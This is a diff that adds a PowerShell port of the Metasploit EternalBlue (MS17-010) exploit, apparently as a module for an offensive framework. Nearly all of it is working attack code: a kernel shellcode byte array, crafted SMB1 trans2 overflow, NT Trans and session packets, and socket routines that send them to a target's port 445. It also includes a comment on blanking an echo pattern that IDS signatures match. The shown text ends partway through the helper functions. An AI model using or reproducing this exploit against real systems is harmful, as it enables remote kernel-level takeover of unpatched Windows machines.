diff --git a/data/module_source/exploitation/Exploit-EternalBlue.ps1 b/data/module_source/exploitation/Exploit-EternalBlue.ps1
new file mode 100755
index 0000000..0677ed1
--- /dev/null
+++ b/data/module_source/exploitation/Exploit-EternalBlue.ps1
@@ -0,0 +1,713 @@
+
+
+function Invoke-EternalBlue($Target, $InitialGrooms, $MaxAttempts, $Shellcode){
+
+<#
+    .SYNOPSIS
+        PowerShell port of MS17_010 Metasploit module
+        Based on Eternal Blue metasploit module by Sean Dillon <sean.dillon@risksense.com>',  
+        # @zerosum0x0 'Dylan Davis <dylan.davis@risksense.com>',  
+        # @jennamagius
+        
+    .PARAMETER Target.
+        Host to exploit
+    .PARAMETER InitialGrooms
+        Initial Grooms.
+    .PARAMETER MaxAttempts
+        number of times to run exploit
+    .PARAMETER ShellCode
+        ShellCode to execute on exploit
+
+    
+    .EXAMPLE
+        Invoke-EternalBlue -Target 127.0.0.1  -InitialGrooms 12 -MaxAttempts 12 -Shellcode @(0x90,0x90,0xC3)
+#>
+
+
+$enc = [system.Text.Encoding]::ASCII
+
+
+$GROOM_DELTA = 5
+
+
+function make_kernel_shellcode {
+    [Byte[]] $shellcode =@(0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,
+0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2,
+0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10,
+0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52,
+0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,
+0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A,
+0x33,0x51,0x4C,0x89,0xD1,0x48,0x83,0xEC,0x08,0x55,0x48,0x81,0xEC,0x58,0x01,0x00,
+0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x9D,0xC0,0x00,0x00,0x00,
+0x48,0x89,0xBD,0xC8,0x00,0x00,0x00,0x48,0x89,0xB5,0xD0,0x00,0x00,0x00,0x48,0xA1,
+0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC1,0xEA,0x20,0x48,
+0x31,0xDB,0xFF,0xCB,0x48,0x21,0xD8,0xB9,0x82,0x00,0x00,0xC0,0x0F,0x30,0xFB,0xE8,
+0x38,0x00,0x00,0x00,0xFA,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x48,0x83,
+0xEC,0x78,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,
+0x41,0x58,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0x58,0x65,0x48,0x8B,0x24,0x25,0x10,0x00,
+0x00,0x00,0x0F,0x01,0xF8,0xFF,0x24,0x25,0xF8,0x0F,0xD0,0xFF,0x56,0x41,0x57,0x41,
+0x56,0x41,0x55,0x41,0x54,0x53,0x55,0x48,0x89,0xE5,0x66,0x83,0xE4,0xF0,0x48,0x83,
+0xEC,0x20,0x4C,0x8D,0x35,0xE3,0xFF,0xFF,0xFF,0x65,0x4C,0x8B,0x3C,0x25,0x38,0x00,
+0x00,0x00,0x4D,0x8B,0x7F,0x04,0x49,0xC1,0xEF,0x0C,0x49,0xC1,0xE7,0x0C,0x49,0x81,
+0xEF,0x00,0x10,0x00,0x00,0x49,0x8B,0x37,0x66,0x81,0xFE,0x4D,0x5A,0x75,0xEF,0x41,
+0xBB,0x5C,0x72,0x11,0x62,0xE8,0x18,0x02,0x00,0x00,0x48,0x89,0xC6,0x48,0x81,0xC6,
+0x08,0x03,0x00,0x00,0x41,0xBB,0x7A,0xBA,0xA3,0x30,0xE8,0x03,0x02,0x00,0x00,0x48,
+0x89,0xF1,0x48,0x39,0xF0,0x77,0x11,0x48,0x8D,0x90,0x00,0x05,0x00,0x00,0x48,0x39,
+0xF2,0x72,0x05,0x48,0x29,0xC6,0xEB,0x08,0x48,0x8B,0x36,0x48,0x39,0xCE,0x75,0xE2,
+0x49,0x89,0xF4,0x31,0xDB,0x89,0xD9,0x83,0xC1,0x04,0x81,0xF9,0x00,0x00,0x01,0x00,
+0x0F,0x8D,0x66,0x01,0x00,0x00,0x4C,0x89,0xF2,0x89,0xCB,0x41,0xBB,0x66,0x55,0xA2,
+0x4B,0xE8,0xBC,0x01,0x00,0x00,0x85,0xC0,0x75,0xDB,0x49,0x8B,0x0E,0x41,0xBB,0xA3,
+0x6F,0x72,0x2D,0xE8,0xAA,0x01,0x00,0x00,0x48,0x89,0xC6,0xE8,0x50,0x01,0x00,0x00,
+0x41,0x81,0xF9,0xBF,0x77,0x1F,0xDD,0x75,0xBC,0x49,0x8B,0x1E,0x4D,0x8D,0x6E,0x10,
+0x4C,0x89,0xEA,0x48,0x89,0xD9,0x41,0xBB,0xE5,0x24,0x11,0xDC,0xE8,0x81,0x01,0x00,
+0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x4D,0x8D,0x4E,0x08,0x49,0xC7,0x01,0x00,
+0x10,0x00,0x00,0x4D,0x31,0xC0,0x4C,0x89,0xF2,0x31,0xC9,0x48,0x89,0x0A,0x48,0xF7,
+0xD1,0x41,0xBB,0x4B,0xCA,0x0A,0xEE,0x48,0x83,0xEC,0x20,0xE8,0x52,0x01,0x00,0x00,
+0x85,0xC0,0x0F,0x85,0xC8,0x00,0x00,0x00,0x49,0x8B,0x3E,0x48,0x8D,0x35,0xE9,0x00,
+0x00,0x00,0x31,0xC9,0x66,0x03,0x0D,0xD7,0x01,0x00,0x00,0x66,0x81,0xC1,0xF9,0x00,
+0xF3,0xA4,0x48,0x89,0xDE,0x48,0x81,0xC6,0x08,0x03,0x00,0x00,0x48,0x89,0xF1,0x48,
+0x8B,0x11,0x4C,0x29,0xE2,0x51,0x52,0x48,0x89,0xD1,0x48,0x83,0xEC,0x20,0x41,0xBB,
+0x26,0x40,0x36,0x9D,0xE8,0x09,0x01,0x00,0x00,0x48,0x83,0xC4,0x20,0x5A,0x59,0x48,
+0x85,0xC0,0x74,0x18,0x48,0x8B,0x80,0xC8,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0C,
+0x48,0x83,0xC2,0x4C,0x8B,0x02,0x0F,0xBA,0xE0,0x05,0x72,0x05,0x48,0x8B,0x09,0xEB,
+0xBE,0x48,0x83,0xEA,0x4C,0x49,0x89,0xD4,0x31,0xD2,0x80,0xC2,0x90,0x31,0xC9,0x41,
+0xBB,0x26,0xAC,0x50,0x91,0xE8,0xC8,0x00,0x00,0x00,0x48,0x89,0xC1,0x4C,0x8D,0x89,
+0x80,0x00,0x00,0x00,0x41,0xC6,0x01,0xC3,0x4C,0x89,0xE2,0x49,0x89,0xC4,0x4D,0x31,
+0xC0,0x41,0x50,0x6A,0x01,0x49,0x8B,0x06,0x50,0x41,0x50,0x48,0x83,0xEC,0x20,0x41,
+0xBB,0xAC,0xCE,0x55,0x4B,0xE8,0x98,0x00,0x00,0x00,0x31,0xD2,0x52,0x52,0x41,0x58,
+0x41,0x59,0x4C,0x89,0xE1,0x41,0xBB,0x18,0x38,0x09,0x9E,0xE8,0x82,0x00,0x00,0x00,
+0x4C,0x89,0xE9,0x41,0xBB,0x22,0xB7,0xB3,0x7D,0xE8,0x74,0x00,0x00,0x00,0x48,0x89,
+0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D,
+0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00,
+0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20,
+0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,
+0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F,
+0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,
+0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A,
+0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B,
+0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B,
+0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,
+0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B,
+0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,
+0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,
+0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,
+0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51,
+0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41,
+0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F,
+0x5E,0xC3)
+return $shellcode
+}
+
+function make_kernel_user_payload($ring3) {
+    $sc = make_kernel_shellcode
+    $sc += [bitconverter]::GetBytes([uint16] ($ring3.length))
+    $sc += $ring3
+    return $sc
+ }
+function make_smb2_payload_headers_packet(){
+    [Byte[]] $pkt = [Byte[]](0x00,0x00,0xff,0xf7,0xFE) + [system.Text.Encoding]::ASCII.GetBytes("SMB") + [Byte[]](0x00)*124
+
+    return $pkt
+}
+
+function make_smb2_payload_body_packet($kernel_user_payload) {
+    $pkt_max_len = 4204
+    $pkt_setup_len = 497
+    $pkt_max_payload = $pkt_max_len - $pkt_setup_len
+
+    #padding
+    [Byte[]] $pkt = [Byte[]] (0x00) * 0x8
+    $pkt += 0x03,0x00,0x00,0x00
+    $pkt += [Byte[]] (0x00) * 0x1c
+    $pkt += 0x03,0x00,0x00,0x00
+     $pkt += [Byte[]] (0x00) * 0x74
+
+# KI_USER_SHARED_DATA addresses
+    $pkt += [Byte[]] (0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff) * 2 # x64 address
+    $pkt += [Byte[]] (0x00) * 0x10
+    $pkt += [Byte[]] (0xc0,0xf0,0xdf,0xff) * 2                 # x86 address
+    $pkt += [Byte[]] (0x00) * 0xc4
+
+    # payload addreses
+    $pkt += 0x90,0xf1,0xdf,0xff
+    $pkt += [Byte[]] (0x00) * 0x4
+    $pkt += 0xf0,0xf1,0xdf,0xff
+    $pkt += [Byte[]] (0x00) * 0x40
+
+    $pkt += 0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
+    $pkt += [Byte[]] (0x00) * 0x8
+    $pkt += 0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0xff
+    $pkt += 0x00
+
+    $pkt += $kernel_user_payload
+
+    # fill out the rest, this can be randomly generated
+    $pkt += 0x00 * ($pkt_max_payload - $kernel_user_payload.length)
+
+    return  $pkt
+}
+
+function make_smb1_echo_packet($tree_id, $user_id) {
+    [Byte[]]  $pkt = [Byte[]] (0x00)               # type
+    $pkt += 0x00,0x00,0x31       # len = 49
+    $pkt += [Byte[]] (0xff) + $enc.GetBytes("SMB")            # SMB1
+    $pkt += 0x2b               # Echo
+    $pkt += 0x00,0x00,0x00,0x00   # Success
+    $pkt += 0x18               # flags
+    $pkt += 0x07,0xc0           # flags2
+    $pkt += 0x00,0x00           # PID High
+    $pkt += 0x00,0x00,0x00,0x00   # Signature1
+    $pkt += 0x00,0x00,0x00,0x00   # Signature2
+    $pkt += 0x00,0x00           # Reserved
+    $pkt += $tree_id # Tree ID
+    $pkt += 0xff,0xfe           # PID
+    $pkt += $user_id # UserID
+    $pkt += 0x40,0x00           # MultiplexIDs
+
+    $pkt += 0x01               # Word count
+    $pkt += 0x01,0x00           # Echo count
+    $pkt += 0x0c,0x00           # Byte count
+
+    # echo data
+    # this is an existing IDS signature, and can be nulled out
+    #$pkt += 0x4a,0x6c,0x4a,0x6d,0x49,0x68,0x43,0x6c,0x42,0x73,0x72,0x00
+    $pkt +=  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00
+    return $pkt
+}
+
+function make_smb1_trans2_exploit_packet($tree_id, $user_id, $type, $timeout) {
+    $timeout = ($timeout * 0x10) + 3
+
+    [Byte[]]  $pkt = [Byte[]] (0x00)                   # Session message
+    $pkt += 0x00,0x10,0x35           # length
+    $pkt += 0xff,0x53,0x4D,0x42                # SMB1
+    $pkt += 0x33                   # Trans2 request
+    $pkt += 0x00,0x00,0x00,0x00       # NT SUCCESS
+    $pkt += 0x18                   # Flags
+    $pkt += 0x07,0xc0               # Flags2
+    $pkt += 0x00,0x00               # PID High
+    $pkt += 0x00,0x00,0x00,0x00       # Signature1
+    $pkt += 0x00,0x00,0x00,0x00       # Signature2
+    $pkt += 0x00,0x00               # Reserved
+    $pkt += $user_id       # TreeID
+    $pkt += 0xff,0xfe               # PID
+    $pkt += $user_id     # UserID
+    $pkt += 0x40,0x00               # MultiplexIDs
+
+    $pkt += 0x09                   # Word Count
+    $pkt += 0x00,0x00               # Total Param Count
+    $pkt += 0x00,0x10               # Total Data Count
+    $pkt += 0x00,0x00               # Max Param Count
+    $pkt += 0x00,0x00               # Max Data Count
+    $pkt += 0x00                   # Max Setup Count
+    $pkt += 0x00                   # Reserved
+    $pkt += 0x00,0x10               # Flags
+    $pkt += 0x35,0x00,0xd0           # Timeouts
+    $pkt += [bitconverter]::GetBytes($timeout)[0] #timeout is a single int
+    $pkt += 0x00,0x00               # Reserved
+    $pkt += 0x00,0x10               # Parameter Count
+
+    #$pkt += 0x74,0x70               # Parameter Offset
+    #$pkt += 0x47,0x46               # Data Count
+    #$pkt += 0x45,0x6f               # Data Offset
+    #$pkt += 0x4c                   # Setup Count
+    #$pkt += 0x4f                   # Reserved
+
+    if ($type -eq "eb_trans2_exploit") {
+
+      $pkt += [Byte[]] (0x41) * 2957
+
+      $pkt += 0x80,0x00,0xa8,0x00                     # overflow
+
+      $pkt += [Byte[]] (0x00) * 0x10
+      $pkt += 0xff,0xff
+      $pkt += [Byte[]] (0x00) * 0x6
+      $pkt += 0xff,0xff
+      $pkt += [Byte[]] (0x00) * 0x16
+
+      $pkt += 0x00,0xf1,0xdf,0xff             # x86 addresses
+      $pkt += [Byte[]] (0x00) * 0x8
+      $pkt += 0x20,0xf0,0xdf,0xff
+
+      $pkt += 0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0xff # x64
+
+      $pkt += 0x60,0x00,0x04,0x10
+      $pkt += [Byte[]] (0x00) * 4
+
+      $pkt += 0x80,0xef,0xdf,0xff
+
+      $pkt += [Byte[]] (0x00) * 4
+      $pkt += 0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff
+      $pkt += 0x18,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
+      $pkt += [Byte[]] (0x00) * 0x10
+
+      $pkt += 0x60,0x00,0x04,0x10
+      $pkt += [Byte[]] (0x00) * 0xc
+      $pkt += 0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff
+      $pkt += [Byte[]] (0x00) * 0x8
+      $pkt += 0x80,0x10
+      $pkt += [Byte[]] (0x00) * 0xe
+      $pkt += 0x39
+      $pkt += 0xbb
+
+      $pkt += [Byte[]] (0x41) * 965
+
+      return $pkt
+    }
+
+    if($type -eq "eb_trans2_zero") {
+      $pkt += [Byte[]] (0x00) * 2055
+      $pkt += 0x83,0xf3
+      $pkt += [Byte[]] (0x41) * 2039
+      #$pkt += 0x00 * 4096
+     }
+    else {
+      $pkt += [Byte[]] (0x41) * 4096
+    }
+
+    return $pkt
+  }
+function negotiate_proto_request()
+{
+
+      [Byte[]]  $pkt = [Byte[]] (0x00)             # Message_Type
+      $pkt += 0x00,0x00,0x54       # Length
+
+      $pkt += 0xFF,0x53,0x4D,0x42 # server_component: .SMB
+      $pkt += 0x72             # smb_command: Negotiate Protocol
+      $pkt += 0x00,0x00,0x00,0x00 # nt_status
+      $pkt += 0x18             # flags
+      $pkt +=  0x01,0x28         # flags2
+      $pkt += 0x00,0x00         # process_id_high
+      $pkt += 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 # signature
+      $pkt += 0x00,0x00         # reserved
+      $pkt += 0x00,0x00         # tree_id
+      $pkt += 0x2F,0x4B         # process_id
+      $pkt += 0x00,0x00         # user_id
+      $pkt += 0xC5,0x5E           # multiplex_id
+
+      $pkt += 0x00             # word_count
+      $pkt += 0x31,0x00         # byte_count
+
+      # Requested Dialects
+      $pkt += 0x02             # dialet_buffer_format
+      $pkt += 0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x31,0x2E,0x30,0x00  # dialet_name: LANMAN1.0
+
+      $pkt += 0x02             # dialet_buffer_format
+      $pkt += 0x4C,0x4D,0x31,0x2E,0x32,0x58,0x30,0x30,0x32,0x00  # dialet_name: LM1.2X002
+
+      $pkt += 0x02             # dialet_buffer_format
+      $pkt += 0x4E,0x54,0x20,0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x20,0x31,0x2E,0x30,0x00 # dialet_name3: NT LANMAN 1.0
+
+      $pkt += 0x02             # dialet_buffer_format
+      $pkt += 0x4E,0x54,0x20,0x4C,0x4D,0x20,0x30,0x2E,0x31,0x32,0x00   # dialet_name4: NT LM 0.12
+
+      return $pkt
+}
+
+
+function make_smb1_nt_trans_packet($tree_id, $user_id) {
+
+    [Byte[]]  $pkt = [Byte[]] (0x00)                   # Session message
+    $pkt += 0x00,0x04,0x38           # length
+    $pkt += 0xff,0x53,0x4D,0x42       # SMB1
+    $pkt += 0xa0                   # NT Trans
+    $pkt += 0x00,0x00,0x00,0x00       # NT SUCCESS
+    $pkt += 0x18                   # Flags
+    $pkt += 0x07,0xc0               # Flags2
+    $pkt += 0x00,0x00               # PID High
+    $pkt += 0x00,0x00,0x00,0x00       # Signature1
+    $pkt += 0x00,0x00,0x00,0x00       # Signature2
+    $pkt += 0x00,0x00               # Reserved
+    $pkt += $tree_id       # TreeID
+    $pkt += 0xff,0xfe               # PID
+    $pkt += $user_id       # UserID
+    $pkt += 0x40,0x00               # MultiplexID
+
+    $pkt += 0x14                   # Word Count
+    $pkt += 0x01                   # Max Setup Count
+    $pkt += 0x00,0x00               # Reserved
+    $pkt += 0x1e,0x00,0x00,0x00       # Total Param Count
+    $pkt += 0xd0,0x03,0x01,0x00       # Total Data Count
+    $pkt += 0x1e,0x00,0x00,0x00       # Max Param Count
+    $pkt += 0x00,0x00,0x00,0x00       # Max Data Count
+    $pkt += 0x1e,0x00,0x00,0x00       # Param Count
+    $pkt += 0x4b,0x00,0x00,0x00       # Param Offset
+    $pkt += 0xd0,0x03,0x00,0x00       # Data Count
+    $pkt += 0x68,0x00,0x00,0x00       # Data Offset
+    $pkt += 0x01                   # Setup Count
+    $pkt += 0x00,0x00               # Function <unknown>
+    $pkt += 0x00,0x00               # Unknown NT transaction (0) setup
+    $pkt += 0xec,0x03               # Byte Count
+    $pkt += [Byte[]] (0x00) * 0x1f            # NT Parameters
+
+    # undocumented
+    $pkt += 0x01
+    $pkt += [Byte[]](0x00) * 0x3cd
+    return $pkt
+  }
+
+  function  make_smb1_free_hole_session_packet($flags2, $vcnum, $native_os) {
+
+    [Byte[]] $pkt = 0x00                   # Session message
+    $pkt += 0x00,0x00,0x51           # length
+    $pkt += 0xff,0x53,0x4D,0x42       # SMB1
+    $pkt += 0x73                   # Session Setup AndX
+    $pkt += 0x00,0x00,0x00,0x00       # NT SUCCESS
+    $pkt += 0x18                   # Flags
+    $pkt += $flags2                   # Flags2
+    $pkt += 0x00,0x00               # PID High
+    $pkt += 0x00,0x00,0x00,0x00       # Signature1
+    $pkt += 0x00,0x00,0x00,0x00       # Signature2
+    $pkt += 0x00,0x00               # Reserved
+    $pkt += 0x00,0x00               # TreeID
+    $pkt += 0xff,0xfe               # PID
+    $pkt += 0x00,0x00               # UserID
+    $pkt += 0x40,0x00               # MultiplexID
+    #$pkt += 0x00,0x00               # Reserved
+
+    $pkt += 0x0c                   # Word Count
+    $pkt += 0xff                   # No further commands
+    $pkt += 0x00                   # Reserved
+    $pkt += 0x00,0x00               # AndXOffset
+    $pkt += 0x04,0x11               # Max Buffer
+    $pkt += 0x0a,0x00               # Max Mpx Count
+    $pkt += $vcnum                    # VC Number
+    $pkt += 0x00,0x00,0x00,0x00       # Session key
+    $pkt += 0x00,0x00               # Security blob length
+    $pkt += 0x00,0x00,0x00,0x00       # Reserved
+    $pkt += 0x00,0x00,0x00,0x80       # Capabilities
+    $pkt += 0x16,0x00               # Byte count
+    #$pkt += 0xf0                   # Security Blob: <MISSING>
+    #$pkt += 0xff,0x00,0x00,0x00       # Native OS
+    #$pkt += 0x00,0x00               # Native LAN manager
+    #$pkt += 0x00,0x00               # Primary domain
+    $pkt += $native_os
+    $pkt += [Byte[]] (0x00) * 17              # Extra byte params
+
+    return $pkt
+  }
+
+  function  make_smb1_anonymous_login_packet {
+    # Neither Rex nor RubySMB appear to support Anon login?
+
+    [Byte[]] $pkt = [Byte[]] (0x00)                    # Session message
+    $pkt += 0x00,0x00,0x88           # length
+    $pkt += 0xff,0x53,0x4D,0x42             # SMB1
+    $pkt += 0x73                   # Session Setup AndX
+    $pkt += 0x00,0x00,0x00,0x00       # NT SUCCESS
+    $pkt += 0x18                   # Flags
+    $pkt += 0x07,0xc0               # Flags2
+    $pkt += 0x00,0x00               # PID High
+    $pkt += 0x00,0x00,0x00,0x00       # Signature1
+    $pkt += 0x00,0x00,0x00,0x00       # Signature2
+    $pkt += 0x00,0x00               # TreeID
+    $pkt += 0xff,0xfe               # PID
+    $pkt += 0x00,0x00               # Reserved
+    $pkt += 0x00,0x00               # UserID
+    $pkt += 0x40,0x00               # MultiplexID
+
+    $pkt += 0x0d                   # Word Count
+    $pkt += 0xff                   # No further commands
+    $pkt += 0x00                   # Reserved
+    $pkt += 0x88,0x00               # AndXOffset
+    $pkt += 0x04,0x11               # Max Buffer
+    $pkt += 0x0a,0x00               # Max Mpx Count
+    $pkt += 0x00,0x00               # VC Number
+    $pkt += 0x00,0x00,0x00,0x00       # Session key
+    $pkt += 0x01,0x00               # ANSI pw length
+    $pkt += 0x00,0x00               # Unicode pw length
+    $pkt += 0x00,0x00,0x00,0x00       # Reserved
+    $pkt += 0xd4,0x00,0x00,0x00       # Capabilities
+    $pkt += 0x4b,0x00               # Byte count
+    $pkt += 0x00                   # ANSI pw
+    $pkt += 0x00,0x00               # Account name
+    $pkt += 0x00,0x00               # Domain name
+
+    # Windows 2000 2195
+    $pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
+    $pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x32,0x00,0x31,0x00,0x39,0x00,0x35,0x00
+    $pkt += 0x00,0x00
+
+    # Windows 2000 5.0
+    $pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
+    $pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x35,0x00,0x2e,0x00,0x30,0x00,0x00,0x00
+
+    return $pkt
+}
+
+
+function tree_connect_andx_request($Target, $userid) {
+
+     [Byte[]] $pkt = [Byte[]](0x00)              #$pkt +=Message_Type'
+     $pkt +=0x00,0x00,0x47       #$pkt +=Length'
+
+
+     $pkt +=0xFF,0x53,0x4D,0x42  #$pkt +=server_component': .SMB
+     $pkt +=0x75              #$pkt +=smb_command': Tree Connect AndX
+     $pkt +=0x00,0x00,0x00,0x00  #$pkt +=nt_status'
+     $pkt +=0x18              #$pkt +=flags'
+     $pkt +=0x01,0x20          #$pkt +=flags2'
+     $pkt +=0x00,0x00          #$pkt +=process_id_high'
+     $pkt +=0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  #$pkt +=signature'
+     $pkt +=0x00,0x00          #$pkt +=reserved'
+     $pkt +=0x00,0x00          #$pkt +=tree_id'
+     $pkt +=0x2F,0x4B          #$pkt +=process_id'
+     $pkt += $userid              #$pkt +=user_id'
+     $pkt +=0xC5,0x5E           #$pkt +=multiplex_id'
+
+
+    $ipc = "\\"+ $Target + "\IPC$"
+
+     $pkt +=0x04              # Word Count
+     $pkt +=0xFF              # AndXCommand: No further commands
+     $pkt +=0x00              # Reserved
+     $pkt +=0x00,0x00          # AndXOffset
+     $pkt +=0x00,0x00          # Flags
+     $pkt +=0x01,0x00          # Password Length
+     $pkt +=0x1A,0x00          # Byte Count
+     $pkt +=0x00              # Password
+     $pkt += [system.Text.Encoding]::ASCII.GetBytes($ipc) # \,0xxx.xxx.xxx.xxx\IPC$
+     $pkt += 0x00       # null byte after ipc added by kev
+
+     $pkt += 0x3f,0x3f,0x3f,0x3f,0x3f,0x00   # Service
+
+
+    $len = $pkt.Length - 4
+    # netbios[1] =$pkt +=0x00' + struct.pack('>H length)
+    $hexlen = [bitconverter]::GetBytes($len)[-2..-4]
+    $pkt[1] = $hexlen[0]
+    $pkt[2] = $hexlen[1]
+    $pkt[3] = $hexlen[2]
+    return $pkt
+
+    }
+
+
+
+function smb_header($smbheader) {
+
+$parsed_header =@{server_component=$smbheader[0..3];
+                  smb_command=$smbheader[4];
+                  error_class=$smbheader[5];
+                  reserved1=$smbheader[6];
+                  error_code=$smbheader[6..7];
+                  flags=$smbheader[8];
+                  flags2=$smbheader[9..10];
+                  process_id_high=$smbheader[11..12];
+                  signature=$smbheader[13..21];
+                  reserved2=$smbheader[22..23];
+                  tree_id=$smbheader[24..25];
+                  process_id=$smbheader[26..27];
+                  user_id=$smbheader[28..29];
+                  multiplex_id=$smbheader[30..31];
+                 }
+return $parsed_header
+
+}
+
+
+
+
+function smb1_get_response($sock){
+
+
+
+    $tcp_response = [Array]::CreateInstance("byte", 1024)
+    try{
+    $sock.Receive($tcp_response)| out-null
+
+     }
+     catch {
+      Write-Verbose "socket error, exploit may fail "
+     }
+    $netbios = $tcp_response[0..4]
+    $smb_header = $tcp_response[4..36]  # SMB Header: 32 bytes
+    $parsed_header = smb_header($smb_header)
+
+    return $tcp_response, $parsed_header
+
+}
+
+
+function client_negotiate($sock){
+$raw_proto = negotiate_proto_request
+    $sock.Send($raw_proto) | out-null
+    return smb1_get_response($sock)
+
+}
+
+function smb1_anonymous_login($sock){
+    $raw_proto = make_smb1_anonymous_login_packet
+    $sock.Send($raw_proto) | out-null
+   return smb1_get_response($sock)
+
+
+}
+
+function tree_connect_andx($sock, $Target, $userid){
+    $raw_proto = tree_connect_andx_request $Target $userid
+    $sock.Send($raw_proto) | out-null
+   return smb1_get_response($sock)
+
+
+}
+
+
+function smb1_anonymous_connect_ipc($Target)
+{
+    $client = New-Object System.Net.Sockets.TcpClient($Target,445)
+
+    $sock = $client.Client
+    client_negotiate($sock) | Out-Null
+
+    $raw, $smbheader = smb1_anonymous_login $sock
+
+    $raw, $smbheader = tree_connect_andx $sock $Target $smbheader.user_id
+
+
+    return $smbheader, $sock
+
+
+
+}
+
+
+function smb1_large_buffer($smbheader,$sock){
+
+    $nt_trans_pkt = make_smb1_nt_trans_packet $smbheader.tree_id $smbheader.user_id
+
+    # send NT Trans
+
+    $sock.Send($nt_trans_pkt) | out-null
+
+    $raw, $transheader = smb1_get_response($sock)
+
+    #initial trans2 request
+    $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_zero" 0
+
+    #send all but the last packet
+    for($i =1; $i -le 14; $i++) {
+        $trans2_pkt_nulled += make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_buffer" $i
+
+    }
+
+    $trans2_pkt_nulled += make_smb1_echo_packet $smbheader.tree_id  $smbheader.user_id
+    $sock.Send($trans2_pkt_nulled) | out-null
+
+    smb1_get_response($sock) | Out-Null
+
+}
+
+
+function smb1_free_hole($start) {
+   $client = New-Object System.Net.Sockets.TcpClient($Target,445)
+
+    $sock = $client.Client
+    client_negotiate($sock) | Out-Null
+    if($start) {
+        $pkt =  make_smb1_free_hole_session_packet (0x07,0xc0) (0x2d,0x01) (0xf0,0xff,0x00,0x00,0x00)
+    }
+    else {
+        $pkt =  make_smb1_free_hole_session_packet (0x07,0x40) (0x2c,0x01) (0xf8,0x87,0x00,0x00,0x00)
+    }
+
+    $sock.Send($pkt) | out-null
+    smb1_get_response($sock) | Out-Null
+    return $sock
+}
+
